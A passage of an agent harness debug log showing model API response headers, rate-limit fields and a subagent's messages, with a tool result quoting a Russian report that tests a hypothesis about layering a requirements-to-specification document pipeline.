\"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:40.478Z] [STDOUT]     traceresponse: \"00-c181078de8e6a7a44f7635046f59fab3-75c79e03a25f7ed2-01\",\n[2026-09-29T07:45:40.482Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:40.494Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:40.505Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:40.517Z] [STDOUT]   },\n[2026-09-29T07:45:40.538Z] [STDOUT]   durationMs: 948,\n[2026-09-29T07:45:40.544Z] [STDOUT] }\n[2026-09-29T07:45:40.553Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:40.575Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:40 GMT\",\n[2026-09-29T07:45:40.577Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:40.580Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:40.582Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:40.583Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:40.587Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:40.588Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:40.594Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:40.596Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:40.599Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:40.601Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:40.603Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:40.604Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:40.606Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:40.608Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:40.612Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:40.613Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:40.615Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:40.617Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:40.619Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:40.621Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:40.624Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:40.627Z] [STDOUT]   \"request-id\": \"req_011CfXMmpmfQBnHj9di3Ht5P\",\n[2026-09-29T07:45:40.633Z] [STDOUT]   \"traceresponse\": \"00-c181078de8e6a7a44f7635046f59fab3-75c79e03a25f7ed2-01\",\n[2026-09-29T07:45:40.637Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:40.641Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:40.646Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:40.651Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:40.655Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:40.662Z] [STDOUT]   \"cf-ray\": \"a4295e9c6fcb29ad-FRA\",\n[2026-09-29T07:45:40.688Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:40.691Z] [STDOUT] [log_e53b6a] response parsed {\n[2026-09-29T07:45:40.698Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:40.703Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:40.706Z] [STDOUT]   body: X {\n[2026-09-29T07:45:40.708Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:40.714Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:40.718Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:40.719Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:40.721Z] [STDOUT]     },\n[2026-09-29T07:45:40.724Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:40.726Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:40.727Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:40.729Z] [STDOUT]   },\n[2026-09-29T07:45:40.731Z] [STDOUT]   durationMs: 949,\n[2026-09-29T07:45:40.733Z] [STDOUT] }\n[2026-09-29T07:45:40.830Z] [INFO] {\n[2026-09-29T07:45:40.830Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:40.830Z] [INFO]   \"message\": {\n[2026-09-29T07:45:40.830Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:40.830Z] [INFO]     \"id\": \"msg_011CfXMmoS4Ao5L6xLGwjS7p\",\n[2026-09-29T07:45:40.830Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:40.830Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:40.830Z] [INFO]     \"content\": [\n[2026-09-29T07:45:40.830Z] [INFO]       {\n[2026-09-29T07:45:40.830Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:40.830Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:40.830Z] [INFO]         \"signature\": \"CAQS+AUKEAgSGAI4AUIIdGhpbmtpbmcSDIH3UtWnGQ5SnF23wRoMNKmYNbVi9z/WbU04IjAkdGp34JdwHtKMbP6mUbue1K8IQSY7lHB1jYl9jOBwfQDL9LqAqJFK/664Pqk62p4qlQUQxOTboEzxJCysWn7MaAiLm2u5UQLQmK3W72qKFbxPFhMWHoSwCxeeqv4qG3gnEi427YH4eUmBwspgDIOIgV3ADm2EIw3fem4EBhewKukZz+t0vCGPvd8Mu2gnfAHA3AkAC4iEgfQR1PkL6+AmzFRuTlVPrppK4t/QkuR0QqnK7zKuiuOIxEc9iyWKeK+flJT1uEc0ZpJR56/2NtSHvggN2zpcBTh0dOoPttIbE7B8V94HuXkFu4BiFw8LrCQV6TFeiQJrDyC2ZxuWg2RsoEReomoSB3JhCcxtqj62sLWFeHhlcDKUq33THODcyqnqzstG1AXdxvLy/hIH+Sy/mtwVIzGC/YKgTsn5yRjYGMpxxexKSXk5SGNVeQ6DdrYqA+CnljRihlQcmRcC1NAiqM9/bwYU24hzxeZnXmGl480JtkjdQHe4KbEYyeG8vcs8yAs67BtNd9uqW3igh4emJ3VLcT5PNLHtmHnioAVb/wBVIYwbNiJvql4ttdRKHzMgdyd0nUcvDAAiJ4C811r6OL0x0kW2kW4QdFKwt+dcrU/9vcmmCBBU54YMzfuGmvc8E2oBHY1rg5WR4viSroxI9byCva5ELgc/ycuBmJrse4bf+JokzeMJKfyDCn0vFsLbYy8TvUdfrSJmzrKnddBfL4pDM+Bu7RMEeqjI2XxdL5b9O686bXssFJfqxxT6lPsWbW2dgjnXgTqX8daPcIY5Mfck7UJ+C5NI1NgASgJbLkPQealylvQneYkx6/9rgpnDL+eqrbUGngpK12vNCj/LC3CW+2Iu7jsUAqa0yh7UjVYgfiLduky0ytwxfznODjBwLPcqYvDckp3IBw8zEI2vN0Hgx4dIThBPQeYBWiNd0SxPloqFxJ5mGAE=\"\n[2026-09-29T07:45:40.830Z] [INFO]       }\n[2026-09-29T07:45:40.830Z] [INFO]     ],\n[2026-09-29T07:45:40.830Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:40.830Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:40.830Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:40.830Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:40.830Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:40.830Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:40.830Z] [INFO]       \"cache_creation_input_tokens\": 4148,\n[2026-09-29T07:45:40.830Z] [INFO]       \"cache_read_input_tokens\": 62338,\n[2026-09-29T07:45:40.830Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:40.830Z] [INFO]         \"ephemeral_5m_input_tokens\": 4148,\n[2026-09-29T07:45:40.830Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:40.830Z] [INFO]       },\n[2026-09-29T07:45:40.830Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:45:40.830Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:40.830Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:40.830Z] [INFO]     },\n[2026-09-29T07:45:40.830Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:40.830Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:40.830Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:40.830Z] [INFO]   },\n[2026-09-29T07:45:40.830Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:40.830Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:40.830Z] [INFO]   \"uuid\": \"3e9aa1ec-40a0-4306-ae37-d060ad6cff9f\",\n[2026-09-29T07:45:40.830Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:40.823Z\",\n[2026-09-29T07:45:40.830Z] [INFO]   \"request_id\": \"req_011CfXMmnbCXWPzBFuaeDPSk\",\n[2026-09-29T07:45:40.830Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:40.830Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:40.830Z] [INFO] }\n[2026-09-29T07:45:41.023Z] [INFO] {\n[2026-09-29T07:45:41.023Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:41.023Z] [INFO]   \"message\": {\n[2026-09-29T07:45:41.023Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:41.023Z] [INFO]     \"id\": \"msg_011CfXMmqRrkjB7kHvs2gB4K\",\n[2026-09-29T07:45:41.023Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:41.023Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:41.023Z] [INFO]     \"content\": [\n[2026-09-29T07:45:41.023Z] [INFO]       {\n[2026-09-29T07:45:41.023Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:41.023Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:41.023Z] [INFO]         \"signature\": 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0.77,\n[2026-09-29T07:45:42.073Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T07:45:42.073Z] [INFO]       }\n[2026-09-29T07:45:42.073Z] [INFO]     }\n[2026-09-29T07:45:42.073Z] [INFO]   },\n[2026-09-29T07:45:42.073Z] [INFO]   \"uuid\": \"0e1200e0-6c44-450e-bd8b-98927ad310f8\",\n[2026-09-29T07:45:42.073Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:42.073Z] [INFO] }\n[2026-09-29T07:45:43.569Z] [INFO] {\n[2026-09-29T07:45:43.569Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:43.569Z] [INFO]   \"message\": {\n[2026-09-29T07:45:43.569Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:43.569Z] [INFO]     \"content\": [\n[2026-09-29T07:45:43.569Z] [INFO]       {\n[2026-09-29T07:45:43.569Z] [INFO]         \"tool_use_id\": \"toolu_01QZBiEGQ7dL5xQPQHjhixA6\",\n[2026-09-29T07:45:43.569Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:43.569Z] [INFO]         \"content\": \"22:# \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043e \u0441\u043b\u043e\u044f\u0445 `M0`\u2013`M2`\\n24:> **\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.** \u042d\u0442\u043e \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f **\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0434\u043d\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b**, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0443\u043b\u044c\\n30:## 1. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\\n35:\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u00bb, \u0430 \u043a\u0430\u043a **\u0441\u043b\u043e\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430**:\\n47:\u0440\u0435\u0448\u0435\u043d\u0438\u0439 **\u0438 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0424\u0422**\u00bb, `M2` \u00ab\u0442\u0440\u0430\u043d\u0441\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f **\u0424\u0422 \u2192 \u0422\u0417** \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f\\n54:## 2. \u041a\u0430\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u043e\u0441\u044c\\n56:\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0443 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e **\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044c**. \u041e\u0431\u0435\\n61:| \u0414\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f | \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 | \u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0435\u0441\u043b\u0438 |\\n62:| --- | --- | --- |\\n63:| \u041b\u0438\u043d\u0435\u0439\u043d\u0430\u044f (\u0432\u0435\u0440\u0441\u0438\u044f `0.1` RFC) | `C-TZ` \u2014 baseline \u0422\u0417 | \u043f\u0440\u043e\u0433\u043e\u043d **\u043f\u0440\u043e\u0438\u0437\u0432\u0451\u043b** \u0422\u0417 |\\n64:| \u0421\u043b\u043e\u0435\u0432\u0430\u044f (\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430) | `C-OUT` \u2014 \u043b\u044e\u0431\u043e\u0439 \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 | \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u0451\u043b **\u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d** \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 |\\n78:**\u0417\u043d\u0430\u043c\u0435\u043d\u0430\u0442\u0435\u043b\u044c.** \u0418\u0437 57 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 25 \u043d\u0435 \u0432\u044b\u0434\u0430\u043b\u0438 \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430: \u0432\u0441\u0435 25 \u0438\u043c\u0435\u044e\u0442\\n81:\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d\u0438 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u0437\u043d\u0430\u043c\u0435\u043d\u0430\u0442\u0435\u043b\u044f \u0434\u043b\u044f **\u043e\u0431\u0435\u0438\u0445** \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0439 \u2014\\n83:\u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f. \u0417\u043d\u0430\u043c\u0435\u043d\u0430\u0442\u0435\u043b\u044c \u2014 **32 \u043f\u0440\u043e\u0433\u043e\u043d\u0430**, \u0432\u044b\u0434\u0430\u0432\u0448\u0438\u0445 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442.\\n85:## 3. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f\\n87:| \u0412\u0435\u043b\u0438\u0447\u0438\u043d\u0430 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n88:| --- | --- |\\n89:| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 | 57 |\\n90:| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0432\u044b\u0434\u0430\u0432\u0448\u0438\u0445 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 (\u0437\u043d\u0430\u043c\u0435\u043d\u0430\u0442\u0435\u043b\u044c) | 32 |\\n91:| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, **\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0448\u0438\u0445 \u0422\u0417** | **0** |\\n92:| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, **\u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0432\u0448\u0438\u0445 \u0447\u0443\u0436\u043e\u0435 \u0422\u0417 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435** | 4 |\\n93:| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0432\u0448\u0438\u0445 \u043e\u0434\u043d\u043e \u044f\u0434\u0440\u043e \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0430\u0434\u0440\u0435\u0441\u043d\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 | 4 |\\n94:| \u0418\u0437 \u043d\u0438\u0445 \u0441 \u044f\u0432\u043d\u043e\u0439 \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u043e\u0439 \u0443\u0440\u043e\u0432\u043d\u0435\u0439 `L0`\u2013`L4` | 2 |\\n98:| \u0414\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f | \u0414\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 | \u0414\u043e\u043b\u044f |\\n99:| --- | --- | --- |\\n100:| \u041b\u0438\u043d\u0435\u0439\u043d\u0430\u044f | 0 \u0438\u0437 32 | **0 %** |\\n101:| \u0421\u043b\u043e\u0435\u0432\u0430\u044f | 32 \u0438\u0437 32 | **100 %** |\\n103:\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u2014 \u0432\u044b\u0438\u0433\u0440\u044b\u0448 \u0432 80 % \u043a\u0435\u0439\u0441\u043e\u0432 \u2014 **\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0441 \u0437\u0430\u043f\u0430\u0441\u043e\u043c**: 100 %\\n106:## 4. \u0427\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043b\u043e\u043c\u0430\u0435\u0442\u0441\u044f \u0432 \u043b\u0438\u043d\u0435\u0439\u043d\u043e\u0439 \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438\\n112:**4.1. \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435\u0434\u043e\u0441\u0442\u0438\u0436\u0438\u043c\u0430.** \u0415\u0441\u043b\u0438 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 \u0432 `M3` \u2014 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n114:\u041f\u0440\u0438 \u044d\u0442\u043e\u043c 47 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 57 \u0438\u043c\u0435\u044e\u0442 `run_type: statistics`, \u0442\u043e \u0435\u0441\u0442\u044c **\u0438\u0445\\n115:\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u2014 \u0434\u0430\u0442\u044c \u0442\u0443 \u0441\u0430\u043c\u0443\u044e \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0443, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 `M3`**.\\n120:**4.2. \u0422\u0417 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u0432\u0445\u043e\u0434 \u0447\u0430\u0449\u0435, \u0447\u0435\u043c \u0432\u044b\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435.** \u041d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435\\n125:\u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u044c **\u0447\u0443\u0436\u043e\u0433\u043e** \u0422\u0417 (\u0442\u0435\u043d\u0434\u0435\u0440\u043d\u0430\u044f \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430). \u0412\\n133:**4.3. \u041e\u0434\u0438\u043d \u0430\u043d\u0430\u043b\u0438\u0437 \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e.** \u041f\u0440\u043e\u0433\u043e\u043d\\n140:> **\u043f\u044f\u0442\u044c \u0443\u0440\u043e\u0432\u043d\u0435\u0439**: L0 \u0437\u0430\u0434\u0430\u043d \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u043e\u043c \u043f\u0440\u044f\u043c\u043e, L1\u2013L3 \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0442 \u0442\u0440\u0451\u043c \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u044b\u043c\\n143:\u0422\u0430\u043c \u0436\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0430 **\u0432\u043d\u0435\u0448\u043d\u0435 \u043d\u0430\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c** \u0444\u043e\u0440\u043c\u044b:\\n159:**4.4. \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u0437 \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u0438 \u0441\u043f\u0438\u0446\u044b.** \u0420\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u00ab\u044f\u0434\u0440\u043e \u043f\u0440\u043e\u0442\u0438\u0432\\n170:## 5. \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437: \u0447\u0442\u043e \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0442\u0435\u0440\u044f\u0435\u0442\\n175:| \u0427\u0442\u043e \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f | \u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e | \u041a\u043e\u043c\u043f\u0435\u043d\u0441\u0430\u0446\u0438\u044f, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u043c\u0430\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u043e\u0439 |\\n176:| --- | --- | --- |\\n177:| **\u041d\u0435\u0434\u0440\u0435\u0439\u0444 \u0440\u0438\u0441\u043a\u0443\u0435\u0442 \u0432\u044b\u0440\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0432 \u00ab\u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u0435\u00bb.** \u0415\u0441\u043b\u0438 `M2` \u2014 \u044d\u0442\u043e \u00ab\u0444\u043e\u0440\u043c\u0430\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438\u00bb, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0435\u0434\u0440\u0435\u0439\u0444\u0430 \u0424\u0422 \u2192 \u0422\u0417 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0447\ufffd\\n178:| **\u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0442\u044c \u0441\u043e \u0441\u043c\u0435\u043d\u043e\u0439 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f** \u2014 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0433\u0440\u0430\u043d\u0438\u0446\u044b, \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432 `P.1` \u0432\u0435\u0440\u0441\u0438\u0438 `0.1` | \u0418\u0437 \u0441\u043c\u0435\u043d\u044b \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0432\u044b\u0432\ufffd\\n179:| **\u0421\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430 \u0413\u041e\u0421\u0422 34.602-2020 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0443\u0440\u0430 \u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0437\u043c\u044b\u0442\u044c\u0441\u044f** \u0432 \u043e\u0431\u0449\u0435\u043c \u0441\u043b\u043e\u0435 \u00ab\u0432\u044b\u0445\u043e\u0434\u00bb | `L3` \u2014 \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u00ab\u0441\u0442\u0440\u043e\u0436\u0435\u00bb, \u044d\u0442\u043e \u0441\u043e\u0441\u0442\u0430\u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, \u0437\u0430\u0434\u0430\ufffd\\n181:\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e: \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 **\u043d\u0435** \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u0430 \u043d\u0430 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0443\u0440\u0435, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432 